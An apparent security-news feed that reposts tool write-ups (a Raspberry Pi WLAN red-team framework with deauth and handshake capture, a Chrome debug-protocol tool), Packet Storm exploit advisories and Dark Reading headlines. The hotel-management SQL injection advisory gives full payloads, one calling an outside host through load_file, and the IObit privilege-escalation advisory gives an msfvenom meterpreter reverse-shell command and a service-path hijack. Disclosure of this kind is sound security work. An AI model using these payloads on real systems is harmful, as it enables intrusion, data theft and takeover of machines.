Kali Linux Tutorials
Pinecone : A WLAN Red Team Framework

Pinecone is a WLAN networks auditing tool, suitable for red team usage. It is extensible via modules, and it is designed to be run in Debian-based operating systems. Pinecone is specially oriented to be used with a Raspberry Pi, as a portable wireless auditing box.

This tool is designed for educational and research purposes only. Only use it with explicit permission.

Installation

For running Pinecone, you need a Debian-based operating system (it has been tested on Raspbian, Raspberry Pi Desktop and Kali Linux). Pinecone has the following requirements:

* Python 3.5+. Your distribution probably comes with Python3 already installed, if not it can be installed using apt-get install python3.
* dnsmasq (tested with version 2.76). Can be installed using apt-get install dnsmasq.
* hostapd-wpe (tested with version 2.6). Can be installed using apt-get install hostapd-wpe. If your distribution repository does not have a hostapd-wpe package, you can either try to install it using a Kali Linux repository pre-compiled package, or compile it from its source code.

After installing the necessary packages, you can install the Python packages requirements for Pinecone using pip3 install -r requirements.txtin the project root folder.

Usage

For starting Pinecone, execute python3 pinecone.pyfrom within the project root folder:

root@kali:~/pinecone# python pinecone.py
[i] Database file: ~/pinecone/db/database.sqlite
pinecone >

Pinecone is controlled via a Metasploit-like command-line interface. You can type helpto get the list of available commands, or help 'command'to get more information about a specific command:

pinecone > help
Documented commands (type help ):
alias help load pyscript set shortcuts use
edit history py quit shell unalias
Undocumented commands:
back run stop
pinecone > help use
Usage: use module [-h]
Interact with the specified module.
positional arguments: module module ID
optional arguments:
-h, –help show this help message and exit

Use the command use 'moduleID'to activate a Pinecone module. You can use Tab auto-completion to see the list of current loaded modules:

pinecone > use
attack/deauth daemon/hostapd-wpe report/db2json scripts/infrastructure/ap
daemon/dnsmasq discovery/recon scripts/attack/wpa_handshake
pinecone > use discovery/recon
pcn module(discovery/recon) >

Every module has options, that can be seen typing help runor run --helpwhen a module is activated. Most modules have default values for their options (check them before running):

pcn module(discovery/recon) > help run
usage: run [-h] [-i INTERFACE]
optional arguments:
-h, –help show this help message and exit
-i INTERFACE, –iface INTERFACE
monitor mode capable WLAN interface (default: wlan0)

When a module is activated, you can use the run [options...]command to start its functionality. The modules provide feedback of their execution state:

pcn script(attack/wpa_handshake) > run -s TEST_SSID
[i] Sending 64 deauth frames to all clients from AP 00:11:22:33:44:55 on channel 1…
Sent 64 packets.
[i] Monitoring for 10 secs on channel 1 WPA handshakes between all clients and AP 00:11:22:33:44:55…
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Cdb : Automate Common Chrome Debug Protocol Tasks To Help Debug Web Applications

CDB is a Chrome Debug Protocol utility. The main goal of the tool is to automate common tasks to help debug web applications from the command-line and actively monitor and intercept HTTP requests and responses. This is particularly useful during penetration tests and other types of security assessments and investigations.

Quickstart

This tool is meant to be used as part of Pown.js but it can be invoked separately as an independent tool.

Install Pown first as usual:

$ npm install -g pown@latest

Invoke directly from Pown:

$ pown cdb

Library Use

Install this module locally from the root of your project:

$ npm install @pown/cdb –save

Once done, invoke pown cli:

$ POWN_ROOT=. ./node_modules/.bin/pown-cli cdb

Usage

pown cdb
Chrome Debug Protocol Tool
Commands:
pown cdb launch Launch server application such as chrome, firefox, opera and edge [aliases: start]
pown cdb navigate Go to the specified url [aliases: goto, go]
pown cdb network Chrome Debug Protocol Network Monitor [aliases: net, sniff, proxy, mon, monitor]
pown cdb cookies Dump current page cookies [aliases: cookie]
pown cdb screenshot Screenshot the current page [aliases: capture, shoot, shot]
Options:
–version Show version number [boolean]
–help Show help [boolean]

pown cdb navigate

pown cdb navigate
Go to the specified url
Options:
–version Show version number [boolean]
–help Show help [boolean]
–host, -H Remote debugging host [string] [default: “localhost”]
–port, -p Remote debugging port [number] [default: 9222]
–secure, -s HTTPS/WSS frontend [boolean] [default: false]

pown cdb network

pown cdb network
Chrome Debug Protocol Network Monitor
Options:
–version Show version number [boolean]
–help Show help [boolean]
–host, -H Remote debugging host [string] [default: “localhost”]
–port, -p Remote debugging port [number] [default: 9222]
–secure, -s HTTPS/WSS frontend [boolean] [default: false]
–output, -o Output directory/file [array] [default: []]
–blessed, -b Start with blessed ui [boolean] [default: false]
Download

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
American Express, Snapchat Open-Redirect Vulnerabilities Exploited in Phishing Scheme

Phishing operators are taking advantage of security bugs in the Amex and Snapchat websites (the latter is unpatched) to steer victims to phishing pages looking to harvest Google and Microsoft logins.

Exploit Collector
Multi-Language Hotel Management 2022 1.0 SQL Injection

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Multi-Language Hotel Management 2022 version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 0c11ae5ed3c1b7202d2009cb0d1807126f6bde6b8e241059c3663ab7153e0cf7

Download
## Title: Multi-Language-Hotel-Management-2022 1.0 SQLi
## Author: nu11secur1ty
## Date: 08.03.2022
## Vendor: https://www.nikhilbhalerao.com/
## Software: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/Nikhil%20Bhalerao/2022/Multi-Language-Hotel-Management-2022/Docs/sparkz.zip
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Nikhil%20Bhalerao/2022/Multi-Language-Hotel-Management-2022
## Description:
The `email` parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\kpdw69idt7zx6jw1ehdh1469o0utikd84bs3ft3i.tupunger.com\\ais'))+'
was submitted in the email parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The attacker can easily get the all database from this hotel system
and can do very malicious stuff with the users who are inside of this
system.

Status: CRITICAL

[+] Payloads:

```mysql
---
Parameter: email (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: email=hmqHtDjH@burpcollaborator.net'+(select
load_file('\\\\kpdw69idt7zx6jw1ehdh1469o0utikd84bs3ft3i.tupunger.com\\ais'))+''||(SELECT
0x55644a42 WHERE 3972=3972 AND (SELECT 1380 FROM(SELECT
COUNT(*),CONCAT(0x7162787671,(SELECT
(ELT(1380=1380,1))),0x7178787671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY
x)a))||'&password=m5S!k0l!S6&login=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=hmqHtDjH@burpcollaborator.net'+(select
load_file('\\\\kpdw69idt7zx6jw1ehdh1469o0utikd84bs3ft3i.tupunger.com\\ais'))+''||(SELECT
0x48536341 WHERE 9809=9809 AND (SELECT 5116 FROM
(SELECT(SLEEP(15)))ygbC))||'&password=m5S!k0l!S6&login=
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Nikhil%20Bhalerao/2022/Multi-Language-Hotel-Management-2022)

## Proof and Exploit:
[href](https://streamable.com/uk7zq2)

Source:packetstormsecurity.com

Exploit Collector
IObit Malware Fighter 9.2 Tampering / Privilege Escalation

https://3.bp.blogspot.com/-GFxdnkVY0Lw/WWlvniKY45I/AAAAAAAAIRU/77qCibw7l9gJ7HKa7eHBCfMI2N56gMPzwCLcBGAs/s1600/hack_img6.png
IObit Malware Fighter version 9.2 fails to provide sufficient anti-tampering protection and that shortcoming can be leveraged to escalate to SYSTEM privileges.

SHA-256 | c6e27a8d7b7645ace9a03e1d2218ca5e5bdc9d279978795484de8145fd043895

Download
[+] Credits: Yehia Elghaly (aka Mrvar0x)
[+] Website: https://mrvar0x.com/
[+] Source: "https://mrvar0x.com/2022/08/02/multiple-endpoints-security-tampering-exploit/"

Vendor:
=============
www.iobit.com
Product:
===========
IObit Malware Fighter 9.2

IObit Malware Fighter is an advanced malware & spyware removal utility that detects, removes the deepest infections, and protects the PC from various of potential malware, ransomware, cryptojacking, spyware, adware, trojans, keyloggers, bots, worms, and hijackers, etc. It includes the unique "Dual-Core" engine, driver-level technology and the heuristic malware detection.
Safebox can protect users from ransomware and allow users to lock their personal data with a password.
Vulnerability Type:
===================
Missing Tamper Protection
Incorrect Authorization

CVE Reference:
==============
N/A
Security Issue:
================
IObit Malware Fighter prior to version 9.2 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling IObit Malware Fighter and the protection offered by it. Also It lead to Raised privilege to SYSTEM.

That can occurred by modifying a specific registry key.
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AdvancedSystemCareService15
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IMFservice
Change ImagePath path to a malicious executable.
Exploit/POC:
=============
Create malicious executable through msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o meta.exe

Modify (ImagePath) with the path of the malicious executable - Restart
Network Access:
===============
Local
Severity:
=========
High
[+] Disclaimer
The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

Mrvar0x

Source:packetstormsecurity.com

hacking: security in practice
Who audit these protocols..?

https://external-preview.redd.it/6ocMKFKdPFhJP_k_dY8ifZN2qFh8XDC6lhiZvpiTn3g.jpg?width=640&crop=smart&auto=webp&s=f24d55b0e926945e99ecabf228ab449d06bb9d88 submitted by /u/mailpie
[link] [comments]

Dark Reading: Attacks/Breaches
Zero-Day Defense: Tips for Defusing the Threat

Because they leave so little time to patch and defuse, zero-day threats require a proactive, multilayered approach based on zero trust.

Dark Reading: Attacks/Breaches
Druva Introduces the Data Resiliency Guarantee of up to $10 Million

The new program offers robust protection across all five data risk categories: cyber, human, application, operation, and environmental.

Dark Reading: Attacks/Breaches
Netskope Acquires Infiot, Will Deliver Fully Integrated, Single-Vendor SASE Platform

Converged SASE platform provides AI-driven Zero trust security and simplified, optimized connectivity to any network location or device, including IoT.